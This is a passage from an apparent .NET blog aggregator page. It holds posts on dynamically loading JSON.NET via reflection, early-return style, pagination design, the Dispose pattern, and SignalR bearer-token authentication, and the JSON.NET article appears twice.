name="throwExceptions">If true throws exceptions otherwise returns null</param> /// <returns>Dynamic JsonSerializer instance</returns> public static dynamic CreateJsonNet(bool throwExceptions = true) { if (JsonNet != null) return JsonNet; lock (SyncLock) { if (JsonNet != null) return JsonNet; // Try to create instance dynamic json = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.JsonSerializer"); if (json == null) { try { var ass = AppDomain.CurrentDomain.Load("Newtonsoft.Json"); json = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.JsonSerializer"); } catch (Exception ex) { if (throwExceptions) throw; return null; } } if (json == null) return null; json.ReferenceLoopHandling = (dynamic) ReflectionUtils.GetStaticProperty("Newtonsoft.Json.ReferenceLoopHandling", "Ignore"); // Enums as strings in JSON dynamic enumConverter = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.Converters.StringEnumConverter"); json.Converters.Add(enumConverter); JsonNet = json; } return JsonNet; }This code's purpose is to return a fully configured JsonSerializer instance. As you can see the code tries to create an instance and when it fails tries to load the assembly, and then re-tries loading.Once the instance is loaded some configuration occurs on it. Specifically I set the ReferenceLoopHandling option to not blow up immediately when circular references are encountered. There are a host of other small config setting that might be useful to set, but the default seem to be good enough in recent versions. Note that I'm setting ReferenceLoopHandling which requires an Enum value to be set. There's no real easy way (short of using the cardinal numeric value) to set a property or pass parameters from static values or enums. This means I still need to use Reflection to make this work. I'm using the same ReflectionUtils class I previously used to handle this for me. The function looks up the type and then uses Type.InvokeMember() to read the static property.Another feature I need is have Enum values serialized as strings rather than numeric values which is the default. To do this I can use the StringEnumConverter to convert enums to strings by adding it to the Converters collection.As you can see there's still a bit of Reflection to be done even in C# 4+ with dynamic, but with a few helpers this process is relatively painless.Doing the actual JSON ConversionFinally I need to actually do my JSON conversions. For the Utility class I need serialization that works for both strings and files so I created four methods that handle these tasks two each for serialization and deserialization for string and file.Here's what the File Serialization looks like:/// <summary> /// Serializes an object instance to a JSON file. /// </summary> /// <param name="value">the value to serialize</param> /// <param name="fileName">Full path to the file to write out with JSON.</param> /// <param name="throwExceptions">Determines whether exceptions are thrown or false is returned</param> /// <param name="formatJsonOutput">if true pretty-formats the JSON with line breaks</param> /// <returns>true or false</returns> public static bool SerializeToFile(object value, string fileName, bool throwExceptions = false, bool formatJsonOutput = false) { dynamic writer = null; FileStream fs = null; try { Type type = value.GetType(); var json = CreateJsonNet(throwExceptions); if (json == null) return false; fs = new FileStream(fileName, FileMode.Create); var sw = new StreamWriter(fs, Encoding.UTF8); writer = Activator.CreateInstance(JsonTextWriterType, sw); if (formatJsonOutput) writer.Formatting = (dynamic)Enum.Parse(FormattingType, "Indented"); writer.QuoteChar = '"'; json.Serialize(writer, value); } catch (Exception ex) { Debug.WriteLine("JsonSerializer Serialize error: " + ex.Message); if (throwExceptions) throw; return false; } finally { if (writer != null) writer.Close(); if (fs != null) fs.Close(); } return true; }You can see more of the dynamic invocation in this code. First I grab the dynamic JsonSerializer instance using the CreateJsonNet() method shown earlier which returns a dynamic. I then create a JsonTextWriter and configure a couple of enum settings on it, and then call Serialize() on the serializer instance with the JsonTextWriter that writes the output to disk. Although this code is dynamic it's still fairly short and readable.For full circle operation here's the DeserializeFromFile() version:/// <summary> /// Deserializes an object from file and returns a reference. /// </summary> /// <param name="fileName">name of the file to serialize to</param> /// <param name="objectType">The Type of the object. Use typeof(yourobject class)</param> /// <param name="binarySerialization">determines whether we use Xml or Binary serialization</param> /// <param name="throwExceptions">determines whether failure will throw rather than return null on failure</param> /// <returns>Instance of the deserialized object or null. Must be cast to your object type</returns> public static object DeserializeFromFile(string fileName, Type objectType, bool throwExceptions = false) { dynamic json = CreateJsonNet(throwExceptions); if (json == null) return null; object result = null; dynamic reader = null; FileStream fs = null; try { fs = new FileStream(fileName, FileMode.Open, FileAccess.Read); var sr = new StreamReader(fs, Encoding.UTF8); reader = Activator.CreateInstance(JsonTextReaderType, sr); result = json.Deserialize(reader, objectType); reader.Close(); } catch (Exception ex) { Debug.WriteLine("JsonNetSerialization Deserialization Error: " + ex.Message); if (throwExceptions) throw; return null; } finally { if (reader != null) reader.Close(); if (fs != null) fs.Close(); } return result; }This code is a little more compact since there are no prettifying options to set. Here JsonTextReader is created dynamically and it receives the output from the Deserialize() operation on the serializer.You can take a look at the full JsonSerializationUtils.cs file on GitHub to see the rest of the operations, but the string operations are very similar - the code is fairly repetitive.These generic serialization utilities isolate the dynamic serialization logic that has to deal with the dynamic nature of JSON.NET, and any code that uses these functions is none the wiser that JSON.NET is dynamically loaded.Using the JsonSerializationUtils WrapperThe final consumer of the SerializationUtils wrapper is an actual ConfigurationProvider, that is responsible for handling reading and writing JSON values to and from files. The provider is simple a small wrapper around the SerializationUtils component and there's very little code to make this work now:The whole provider looks like this:/// <summary> /// Reads and Writes configuration settings in .NET config files and /// sections. Allows reading and writing to default or external files /// and specification of the configuration section that settings are /// applied to. /// </summary> public class JsonFileConfigurationProvider<TAppConfiguration> : ConfigurationProviderBase<TAppConfiguration> where TAppConfiguration: AppConfiguration, new() { /// <summary> /// Optional - the Configuration file where configuration settings are /// stored in. If not specified uses the default Configuration Manager /// and its default store. /// </summary> public string JsonConfigurationFile { get { return _JsonConfigurationFile; } set { _JsonConfigurationFile = value; } } private string _JsonConfigurationFile = string.Empty; public override bool Read(AppConfiguration config) { var newConfig = JsonSerializationUtils.DeserializeFromFile(JsonConfigurationFile, typeof(TAppConfiguration)) as TAppConfiguration; if (newConfig == null) { if(Write(config)) return true; return false; } DecryptFields(newConfig); DataUtils.CopyObjectData(newConfig, config, "Provider,ErrorMessage"); return true; } /// <summary> /// Return /// </summary> /// <typeparam name="TAppConfig"></typeparam> /// <returns></returns> public override TAppConfig Read<TAppConfig>() { var result = JsonSerializationUtils.DeserializeFromFile(JsonConfigurationFile, typeof(TAppConfig)) as TAppConfig; if (result != null) DecryptFields(result); return result; } /// <summary> /// Write configuration to XmlConfigurationFile location /// </summary> /// <param name="config"></param> /// <returns></returns> public override bool Write(AppConfiguration config) { EncryptFields(config); bool result = JsonSerializationUtils.SerializeToFile(config, JsonConfigurationFile,false,true); // Have to decrypt again to make sure the properties are readable afterwards DecryptFields(config); return result; } }This incidentally demonstrates how easy it is to create a new provider for the West Wind Application Configuration component. Simply implementing 3 methods will do in most cases.Note this code doesn't have any dynamic dependencies - all that's abstracted away in the JsonSerializationUtils(). From here on, serializing JSON is just a matter of calling the static methods on the SerializationUtils class.Already, there are several other places in some other tools where I use JSON serialization this is coming in very handy. With a couple of lines of code I was able to add JSON.NET support to an older AJAX library that I use replacing quite a bit of code that was previously in use. And for any other manual JSON operations (in a couple of apps I use JSON Serialization for 'blob' like document storage) this is also going to be handy.Performance?Some of you might be thinking that using dynamic and Reflection can't be good for performance. And you'd be right… In performing some informal testing it looks like the performance of the native code is nearly twice as fast as the dynamic code. Most of the slowness is attributable to type lookups. To test I created a native class that uses an actual reference to JSON.NET and performance was consistently around 85-90% faster with the referenced code. That being said though - I serialized 10,000 objects in 80ms vs. 45ms so this isn't hardly slouchy. For the configuration component speed is not that important because both read and write operations typically happen once on first access and then every once in a while. But for other operations - say a serializer trying to handle AJAX requests on a Web Server one would be well served to create a hard dependency.Dynamic Loading - Worth it?On occasion dynamic loading makes sense. But there's a price to be paid in added code complexity and a performance hit. But for some operations that are not pivotal to a component or application and only used under certain circumstances dynamic loading can be beneficial to avoid having to ship extra files and loading down distributions. These days when you create new projects in Visual Studio with 30 assemblies before you even add your own code, trying to keep file counts under control seems a good idea. It's not the kind of thing you do on a regular basis, but when needed it can be a useful tool. Hopefully some of you find this information useful…© Rick Strahl, West Wind Technologies, 2005-2013Posted in .NET  C#   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • Code Style - Do you prefer to return from a function early or just use an IF statement?

    - by Rachel
    I've often written this sort of function in both formats, and I was wondering if one format is preferred over another, and why. public void SomeFunction(bool someCondition) { if (someCondition) { // Do Something } } or public void SomeFunction(bool someCondition) { if (!someCondition) return; // Do Something } I usually code with the first one since that is the way my brain works while coding, although I think I prefer the 2nd one since it takes care of any error handling right away and I find it easier to read

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  • Question on design of current pagination implementations

    - by Freshblood
    I have checked pagination implementations on asp.net mvc specifically and i really feel that there is something less efficient in implementations. First of all all implementations use pagination values like below. public ActionResult MostPopulars(int pageIndex,int pageSize) { } The thing that i feel wrong is pageIndex and pageSize totally should be member of Pagination class otherwise this way looks so much functional way. Also it simplify unnecesary paramater pass in tiers of application. Second thing is that they use below interface. public interface IPagedList<T> : IList<T> { int PageCount { get; } int TotalItemCount { get; } int PageIndex { get; } int PageNumber { get; } int PageSize { get; } bool HasPreviousPage { get; } bool HasNextPage { get; } bool IsFirstPage { get; } bool IsLastPage { get; } } If i want to routing my pagination to different action so i have to create new view model for encapsulate action name in it or even controller name. Another solution can be that sending this interfaced model to view then specify action and controller hard coded in pager method as parameter but i am losing totally re-usability of my view because it is strictly depends on just one action. Another thing is that they use below code in view Html.Pager(Model.PageSize, Model.PageNumber, Model.TotalItemCount) If the model is IPagedList why they don't provide an overload method like @Html.Pager(Model) or even better one is @Html.Pager(). You know that we know model type in this way. Before i was doing mistake because i was using Model.PageIndex instead of Model.PageNumber. Another big issue is they strongly rely on IQueryable interface. How they know that i use IQueryable in my data layer ? I would expected that they work simply with collections that is keep pagination implementation persistence ignorant. What is wrong about my improvement ideas over their pagination implementations ? What is their reason to not implement their paginations in this way ?

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  • Dynamically loading Assemblies to reduce Runtime Dependencies

    - by Rick Strahl
    I've been working on a request to the West Wind Application Configuration library to add JSON support. The config library is a very easy to use code-first approach to configuration: You create a class that holds the configuration data that inherits from a base configuration class, and then assign a persistence provider at runtime that determines where and how the configuration data is store. Currently the library supports .NET Configuration stores (web.config/app.config), XML files, SQL records and string storage.About once a week somebody asks me about JSON support and I've deflected this question for the longest time because frankly I think that JSON as a configuration store doesn't really buy a heck of a lot over XML. Both formats require the user to perform some fixup of the plain configuration data - in XML into XML tags, with JSON using JSON delimiters for properties and property formatting rules. Sure JSON is a little less verbose and maybe a little easier to read if you have hierarchical data, but overall the differences are pretty minor in my opinion. And yet - the requests keep rolling in.Hard Link Issues in a Component LibraryAnother reason I've been hesitant is that I really didn't want to pull in a dependency on an external JSON library - in this case JSON.NET - into the core library. If you're not using JSON.NET elsewhere I don't want a user to have to require a hard dependency on JSON.NET unless they want to use the JSON feature. JSON.NET is also sensitive to versions and doesn't play nice with multiple versions when hard linked. For example, when you have a reference to V4.4 in your project but the host application has a reference to version 4.5 you can run into assembly load problems. NuGet's Update-Package can solve some of this *if* you can recompile, but that's not ideal for a component that's supposed to be just plug and play. This is no criticism of JSON.NET - this really applies to any dependency that might change.  So hard linking the DLL can be problematic for a number reasons, but the primary reason is to not force loading of JSON.NET unless you actually need it when you use the JSON configuration features of the library.Enter Dynamic LoadingSo rather than adding an assembly reference to the project, I decided that it would be better to dynamically load the DLL at runtime and then use dynamic typing to access various classes. This allows me to run without a hard assembly reference and allows more flexibility with version number differences now and in the future.But there are also a couple of downsides:No assembly reference means only dynamic access - no compiler type checking or IntellisenseRequirement for the host application to have reference to JSON.NET or else get runtime errorsThe former is minor, but the latter can be problematic. Runtime errors are always painful, but in this case I'm willing to live with this. If you want to use JSON configuration settings JSON.NET needs to be loaded in the project. If this is a Web project, it'll likely be there already.So there are a few things that are needed to make this work:Dynamically create an instance and optionally attempt to load an Assembly (if not loaded)Load types into dynamic variablesUse Reflection for a few tasks like statics/enumsThe dynamic keyword in C# makes the formerly most difficult Reflection part - method calls and property assignments - fairly painless. But as cool as dynamic is it doesn't handle all aspects of Reflection. Specifically it doesn't deal with object activation, truly dynamic (string based) member activation or accessing of non instance members, so there's still a little bit of work left to do with Reflection.Dynamic Object InstantiationThe first step in getting the process rolling is to instantiate the type you need to work with. This might be a two step process - loading the instance from a string value, since we don't have a hard type reference and potentially having to load the assembly. Although the host project might have a reference to JSON.NET, that instance might have not been loaded yet since it hasn't been accessed yet. In ASP.NET this won't be a problem, since ASP.NET preloads all referenced assemblies on AppDomain startup, but in other executable project, assemblies are just in time loaded only when they are accessed.Instantiating a type is a two step process: Finding the type reference and then activating it. Here's the generic code out of my ReflectionUtils library I use for this:/// <summary> /// Creates an instance of a type based on a string. Assumes that the type's /// </summary> /// <param name="typeName">Common name of the type</param> /// <param name="args">Any constructor parameters</param> /// <returns></returns> public static object CreateInstanceFromString(string typeName, params object[] args) { object instance = null; Type type = null; try { type = GetTypeFromName(typeName); if (type == null) return null; instance = Activator.CreateInstance(type, args); } catch { return null; } return instance; } /// <summary> /// Helper routine that looks up a type name and tries to retrieve the /// full type reference in the actively executing assemblies. /// </summary> /// <param name="typeName"></param> /// <returns></returns> public static Type GetTypeFromName(string typeName) { Type type = null; // Let default name binding find it type = Type.GetType(typeName, false); if (type != null) return type; // look through assembly list var assemblies = AppDomain.CurrentDomain.GetAssemblies(); // try to find manually foreach (Assembly asm in assemblies) { type = asm.GetType(typeName, false); if (type != null) break; } return type; } To use this for loading JSON.NET I have a small factory function that instantiates JSON.NET and sets a bunch of configuration settings on the generated object. The startup code also looks for failure and tries loading up the assembly when it fails since that's the main reason the load would fail. Finally it also caches the loaded instance for reuse (according to James the JSON.NET instance is thread safe and quite a bit faster when cached). Here's what the factory function looks like in JsonSerializationUtils:/// <summary> /// Dynamically creates an instance of JSON.NET /// </summary> /// <param name="throwExceptions">If true throws exceptions otherwise returns null</param> /// <returns>Dynamic JsonSerializer instance</returns> public static dynamic CreateJsonNet(bool throwExceptions = true) { if (JsonNet != null) return JsonNet; lock (SyncLock) { if (JsonNet != null) return JsonNet; // Try to create instance dynamic json = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.JsonSerializer"); if (json == null) { try { var ass = AppDomain.CurrentDomain.Load("Newtonsoft.Json"); json = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.JsonSerializer"); } catch (Exception ex) { if (throwExceptions) throw; return null; } } if (json == null) return null; json.ReferenceLoopHandling = (dynamic) ReflectionUtils.GetStaticProperty("Newtonsoft.Json.ReferenceLoopHandling", "Ignore"); // Enums as strings in JSON dynamic enumConverter = ReflectionUtils.CreateInstanceFromString("Newtonsoft.Json.Converters.StringEnumConverter"); json.Converters.Add(enumConverter); JsonNet = json; } return JsonNet; }This code's purpose is to return a fully configured JsonSerializer instance. As you can see the code tries to create an instance and when it fails tries to load the assembly, and then re-tries loading.Once the instance is loaded some configuration occurs on it. Specifically I set the ReferenceLoopHandling option to not blow up immediately when circular references are encountered. There are a host of other small config setting that might be useful to set, but the default seem to be good enough in recent versions. Note that I'm setting ReferenceLoopHandling which requires an Enum value to be set. There's no real easy way (short of using the cardinal numeric value) to set a property or pass parameters from static values or enums. This means I still need to use Reflection to make this work. I'm using the same ReflectionUtils class I previously used to handle this for me. The function looks up the type and then uses Type.InvokeMember() to read the static property.Another feature I need is have Enum values serialized as strings rather than numeric values which is the default. To do this I can use the StringEnumConverter to convert enums to strings by adding it to the Converters collection.As you can see there's still a bit of Reflection to be done even in C# 4+ with dynamic, but with a few helpers this process is relatively painless.Doing the actual JSON ConversionFinally I need to actually do my JSON conversions. For the Utility class I need serialization that works for both strings and files so I created four methods that handle these tasks two each for serialization and deserialization for string and file.Here's what the File Serialization looks like:/// <summary> /// Serializes an object instance to a JSON file. /// </summary> /// <param name="value">the value to serialize</param> /// <param name="fileName">Full path to the file to write out with JSON.</param> /// <param name="throwExceptions">Determines whether exceptions are thrown or false is returned</param> /// <param name="formatJsonOutput">if true pretty-formats the JSON with line breaks</param> /// <returns>true or false</returns> public static bool SerializeToFile(object value, string fileName, bool throwExceptions = false, bool formatJsonOutput = false) { dynamic writer = null; FileStream fs = null; try { Type type = value.GetType(); var json = CreateJsonNet(throwExceptions); if (json == null) return false; fs = new FileStream(fileName, FileMode.Create); var sw = new StreamWriter(fs, Encoding.UTF8); writer = Activator.CreateInstance(JsonTextWriterType, sw); if (formatJsonOutput) writer.Formatting = (dynamic)Enum.Parse(FormattingType, "Indented"); writer.QuoteChar = '"'; json.Serialize(writer, value); } catch (Exception ex) { Debug.WriteLine("JsonSerializer Serialize error: " + ex.Message); if (throwExceptions) throw; return false; } finally { if (writer != null) writer.Close(); if (fs != null) fs.Close(); } return true; }You can see more of the dynamic invocation in this code. First I grab the dynamic JsonSerializer instance using the CreateJsonNet() method shown earlier which returns a dynamic. I then create a JsonTextWriter and configure a couple of enum settings on it, and then call Serialize() on the serializer instance with the JsonTextWriter that writes the output to disk. Although this code is dynamic it's still fairly short and readable.For full circle operation here's the DeserializeFromFile() version:/// <summary> /// Deserializes an object from file and returns a reference. /// </summary> /// <param name="fileName">name of the file to serialize to</param> /// <param name="objectType">The Type of the object. Use typeof(yourobject class)</param> /// <param name="binarySerialization">determines whether we use Xml or Binary serialization</param> /// <param name="throwExceptions">determines whether failure will throw rather than return null on failure</param> /// <returns>Instance of the deserialized object or null. Must be cast to your object type</returns> public static object DeserializeFromFile(string fileName, Type objectType, bool throwExceptions = false) { dynamic json = CreateJsonNet(throwExceptions); if (json == null) return null; object result = null; dynamic reader = null; FileStream fs = null; try { fs = new FileStream(fileName, FileMode.Open, FileAccess.Read); var sr = new StreamReader(fs, Encoding.UTF8); reader = Activator.CreateInstance(JsonTextReaderType, sr); result = json.Deserialize(reader, objectType); reader.Close(); } catch (Exception ex) { Debug.WriteLine("JsonNetSerialization Deserialization Error: " + ex.Message); if (throwExceptions) throw; return null; } finally { if (reader != null) reader.Close(); if (fs != null) fs.Close(); } return result; }This code is a little more compact since there are no prettifying options to set. Here JsonTextReader is created dynamically and it receives the output from the Deserialize() operation on the serializer.You can take a look at the full JsonSerializationUtils.cs file on GitHub to see the rest of the operations, but the string operations are very similar - the code is fairly repetitive.These generic serialization utilities isolate the dynamic serialization logic that has to deal with the dynamic nature of JSON.NET, and any code that uses these functions is none the wiser that JSON.NET is dynamically loaded.Using the JsonSerializationUtils WrapperThe final consumer of the SerializationUtils wrapper is an actual ConfigurationProvider, that is responsible for handling reading and writing JSON values to and from files. The provider is simple a small wrapper around the SerializationUtils component and there's very little code to make this work now:The whole provider looks like this:/// <summary> /// Reads and Writes configuration settings in .NET config files and /// sections. Allows reading and writing to default or external files /// and specification of the configuration section that settings are /// applied to. /// </summary> public class JsonFileConfigurationProvider<TAppConfiguration> : ConfigurationProviderBase<TAppConfiguration> where TAppConfiguration: AppConfiguration, new() { /// <summary> /// Optional - the Configuration file where configuration settings are /// stored in. If not specified uses the default Configuration Manager /// and its default store. /// </summary> public string JsonConfigurationFile { get { return _JsonConfigurationFile; } set { _JsonConfigurationFile = value; } } private string _JsonConfigurationFile = string.Empty; public override bool Read(AppConfiguration config) { var newConfig = JsonSerializationUtils.DeserializeFromFile(JsonConfigurationFile, typeof(TAppConfiguration)) as TAppConfiguration; if (newConfig == null) { if(Write(config)) return true; return false; } DecryptFields(newConfig); DataUtils.CopyObjectData(newConfig, config, "Provider,ErrorMessage"); return true; } /// <summary> /// Return /// </summary> /// <typeparam name="TAppConfig"></typeparam> /// <returns></returns> public override TAppConfig Read<TAppConfig>() { var result = JsonSerializationUtils.DeserializeFromFile(JsonConfigurationFile, typeof(TAppConfig)) as TAppConfig; if (result != null) DecryptFields(result); return result; } /// <summary> /// Write configuration to XmlConfigurationFile location /// </summary> /// <param name="config"></param> /// <returns></returns> public override bool Write(AppConfiguration config) { EncryptFields(config); bool result = JsonSerializationUtils.SerializeToFile(config, JsonConfigurationFile,false,true); // Have to decrypt again to make sure the properties are readable afterwards DecryptFields(config); return result; } }This incidentally demonstrates how easy it is to create a new provider for the West Wind Application Configuration component. Simply implementing 3 methods will do in most cases.Note this code doesn't have any dynamic dependencies - all that's abstracted away in the JsonSerializationUtils(). From here on, serializing JSON is just a matter of calling the static methods on the SerializationUtils class.Already, there are several other places in some other tools where I use JSON serialization this is coming in very handy. With a couple of lines of code I was able to add JSON.NET support to an older AJAX library that I use replacing quite a bit of code that was previously in use. And for any other manual JSON operations (in a couple of apps I use JSON Serialization for 'blob' like document storage) this is also going to be handy.Performance?Some of you might be thinking that using dynamic and Reflection can't be good for performance. And you'd be right… In performing some informal testing it looks like the performance of the native code is nearly twice as fast as the dynamic code. Most of the slowness is attributable to type lookups. To test I created a native class that uses an actual reference to JSON.NET and performance was consistently around 85-90% faster with the referenced code. This will change though depending on the size of objects serialized - the larger the object the more processing time is spent inside the actual dynamically activated components and the less difference there will be. Dynamic code is always slower, but how much it really affects your application primarily depends on how frequently the dynamic code is called in relation to the non-dynamic code executing. In most situations where dynamic code is used 'to get the process rolling' as I do here the overhead is small enough to not matter.All that being said though - I serialized 10,000 objects in 80ms vs. 45ms so this is hardly slouchy performance. For the configuration component speed is not that important because both read and write operations typically happen once on first access and then every once in a while. But for other operations - say a serializer trying to handle AJAX requests on a Web Server one would be well served to create a hard dependency.Dynamic Loading - Worth it?Dynamic loading is not something you need to worry about but on occasion dynamic loading makes sense. But there's a price to be paid in added code  and a performance hit which depends on how frequently the dynamic code is accessed. But for some operations that are not pivotal to a component or application and are only used under certain circumstances dynamic loading can be beneficial to avoid having to ship extra files adding dependencies and loading down distributions. These days when you create new projects in Visual Studio with 30 assemblies before you even add your own code, trying to keep file counts under control seems like a good idea. It's not the kind of thing you do on a regular basis, but when needed it can be a useful option in your toolset… © Rick Strahl, West Wind Technologies, 2005-2013Posted in .NET  C#   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • The Dispose Pattern (and FxCop warnings)

    - by Scott Dorman
    [This is actually a response to Bill’s blog post, but since it isn’t possible to leave this as a comment on his blog it’s a post here.] There are many different ways to implement the Dispose pattern correctly. Some are (in my opinion) better than others. In Bill’s blog post he presents a particular pattern, which is an excerpt from his book (Effective C#). The issue centers around the fact that a reader took the code sample presented in the book and ran FxCop (Code Analysis) on it, which generated a warning: “Ensure that base.Dispose() is always called.” The “lesson learned” that Bill presents is that “tools are there to help us, not control us.” While I completely agree with the belief that tools are there to help us, I think it’s important to understand why FxCop is raising this particular warning. The code presented in Bill’s book looks like: // Have its own disposed flag.private bool disposed = false;protected override void Dispose(bool isDisposing){ // Don't dispose more than once. if (disposed) return; if (isDisposing) { // TODO: free managed resources here. } // TODO: free unmanaged resources here. // Let the base class free its resources. // Base class is responsible for calling // GC.SuppressFinalize( ) base.Dispose(isDisposing); // Set derived class disposed flag: disposed = true;} This code does follow all of the guidelines for implementing the Dispose pattern. In this case, it’s presumably part of a larger example showing how to implement the pattern as part of a base class. The reason FxCop is warning you about this code is the first if statement in the Dispose method, which will cause the method to exit if disposed is true. The problem here is that there is the possibility that if the disposed flag is true, the call to base.Dispose() will never be executed. As Bill points out, it is possible for some other code elsewhere in the class to set this flag. He states that this is an “unlikely occurrence.” While that is probably true, it can be a potentially dangerous assumption to make and is one that can be easily corrected. By changing the code slightly you can remove this assumption and correct the FxCop violation. private bool disposed = false;protected override void Dispose(bool disposing){ if (!disposed) { if (disposing) { // Dispose managed resources. } // Dispose unmanaged resources. disposed = true; } base.Dispose(disposing);} Using this implementation allows the call to base.Dispose() to always occur, which ensures that the the disposal chain is always properly followed. Technorati Tags: .NET,C#,Dispose Pattern

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  • Set Context User Principal for Customized Authentication in SignalR

    - by Shaun
    Originally posted on: http://geekswithblogs.net/shaunxu/archive/2014/05/27/set-context-user-principal-for-customized-authentication-in-signalr.aspxCurrently I'm working on a single page application project which is built on AngularJS and ASP.NET WebAPI. When I need to implement some features that needs real-time communication and push notifications from server side I decided to use SignalR. SignalR is a project currently developed by Microsoft to build web-based, read-time communication application. You can find it here. With a lot of introductions and guides it's not a difficult task to use SignalR with ASP.NET WebAPI and AngularJS. I followed this and this even though it's based on SignalR 1. But when I tried to implement the authentication for my SignalR I was struggled 2 days and finally I got a solution by myself. This might not be the best one but it actually solved all my problem.   In many articles it's said that you don't need to worry about the authentication of SignalR since it uses the web application authentication. For example if your web application utilizes form authentication, SignalR will use the user principal your web application authentication module resolved, check if the principal exist and authenticated. But in my solution my ASP.NET WebAPI, which is hosting SignalR as well, utilizes OAuth Bearer authentication. So when the SignalR connection was established the context user principal was empty. So I need to authentication and pass the principal by myself.   Firstly I need to create a class which delivered from "AuthorizeAttribute", that will takes the responsible for authenticate when SignalR connection established and any method was invoked. 1: public class QueryStringBearerAuthorizeAttribute : AuthorizeAttribute 2: { 3: public override bool AuthorizeHubConnection(HubDescriptor hubDescriptor, IRequest request) 4: { 5: } 6:  7: public override bool AuthorizeHubMethodInvocation(IHubIncomingInvokerContext hubIncomingInvokerContext, bool appliesToMethod) 8: { 9: } 10: } The method "AuthorizeHubConnection" will be invoked when any SignalR connection was established. And here I'm going to retrieve the Bearer token from query string, try to decrypt and recover the login user's claims. 1: public override bool AuthorizeHubConnection(HubDescriptor hubDescriptor, IRequest request) 2: { 3: var dataProtectionProvider = new DpapiDataProtectionProvider(); 4: var secureDataFormat = new TicketDataFormat(dataProtectionProvider.Create()); 5: // authenticate by using bearer token in query string 6: var token = request.QueryString.Get(WebApiConfig.AuthenticationType); 7: var ticket = secureDataFormat.Unprotect(token); 8: if (ticket != null && ticket.Identity != null && ticket.Identity.IsAuthenticated) 9: { 10: // set the authenticated user principal into environment so that it can be used in the future 11: request.Environment["server.User"] = new ClaimsPrincipal(ticket.Identity); 12: return true; 13: } 14: else 15: { 16: return false; 17: } 18: } In the code above I created "TicketDataFormat" instance, which must be same as the one I used to generate the Bearer token when user logged in. Then I retrieve the token from request query string and unprotect it. If I got a valid ticket with identity and it's authenticated this means it's a valid token. Then I pass the user principal into request's environment property which can be used in nearly future. Since my website was built in AngularJS so the SignalR client was in pure JavaScript, and it's not support to set customized HTTP headers in SignalR JavaScript client, I have to pass the Bearer token through request query string. This is not a restriction of SignalR, but a restriction of WebSocket. For security reason WebSocket doesn't allow client to set customized HTTP headers from browser. Next, I need to implement the authentication logic in method "AuthorizeHubMethodInvocation" which will be invoked when any SignalR method was invoked. 1: public override bool AuthorizeHubMethodInvocation(IHubIncomingInvokerContext hubIncomingInvokerContext, bool appliesToMethod) 2: { 3: var connectionId = hubIncomingInvokerContext.Hub.Context.ConnectionId; 4: // check the authenticated user principal from environment 5: var environment = hubIncomingInvokerContext.Hub.Context.Request.Environment; 6: var principal = environment["server.User"] as ClaimsPrincipal; 7: if (principal != null && principal.Identity != null && principal.Identity.IsAuthenticated) 8: { 9: // create a new HubCallerContext instance with the principal generated from token 10: // and replace the current context so that in hubs we can retrieve current user identity 11: hubIncomingInvokerContext.Hub.Context = new HubCallerContext(new ServerRequest(environment), connectionId); 12: return true; 13: } 14: else 15: { 16: return false; 17: } 18: } Since I had passed the user principal into request environment in previous method, I can simply check if it exists and valid. If so, what I need is to pass the principal into context so that SignalR hub can use. Since the "User" property is all read-only in "hubIncomingInvokerContext", I have to create a new "ServerRequest" instance with principal assigned, and set to "hubIncomingInvokerContext.Hub.Context". After that, we can retrieve the principal in my Hubs through "Context.User" as below. 1: public class DefaultHub : Hub 2: { 3: public object Initialize(string host, string service, JObject payload) 4: { 5: var connectionId = Context.ConnectionId; 6: ... ... 7: var domain = string.Empty; 8: var identity = Context.User.Identity as ClaimsIdentity; 9: if (identity != null) 10: { 11: var claim = identity.FindFirst("Domain"); 12: if (claim != null) 13: { 14: domain = claim.Value; 15: } 16: } 17: ... ... 18: } 19: } Finally I just need to add my "QueryStringBearerAuthorizeAttribute" into the SignalR pipeline. 1: app.Map("/signalr", map => 2: { 3: // Setup the CORS middleware to run before SignalR. 4: // By default this will allow all origins. You can 5: // configure the set of origins and/or http verbs by 6: // providing a cors options with a different policy. 7: map.UseCors(CorsOptions.AllowAll); 8: var hubConfiguration = new HubConfiguration 9: { 10: // You can enable JSONP by uncommenting line below. 11: // JSONP requests are insecure but some older browsers (and some 12: // versions of IE) require JSONP to work cross domain 13: // EnableJSONP = true 14: EnableJavaScriptProxies = false 15: }; 16: // Require authentication for all hubs 17: var authorizer = new QueryStringBearerAuthorizeAttribute(); 18: var module = new AuthorizeModule(authorizer, authorizer); 19: GlobalHost.HubPipeline.AddModule(module); 20: // Run the SignalR pipeline. We're not using MapSignalR 21: // since this branch already runs under the "/signalr" path. 22: map.RunSignalR(hubConfiguration); 23: }); On the client side should pass the Bearer token through query string before I started the connection as below. 1: self.connection = $.hubConnection(signalrEndpoint); 2: self.proxy = self.connection.createHubProxy(hubName); 3: self.proxy.on(notifyEventName, function (event, payload) { 4: options.handler(event, payload); 5: }); 6: // add the authentication token to query string 7: // we cannot use http headers since web socket protocol doesn't support 8: self.connection.qs = { Bearer: AuthService.getToken() }; 9: // connection to hub 10: self.connection.start(); Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Subterranean IL: Volatile

    - by Simon Cooper
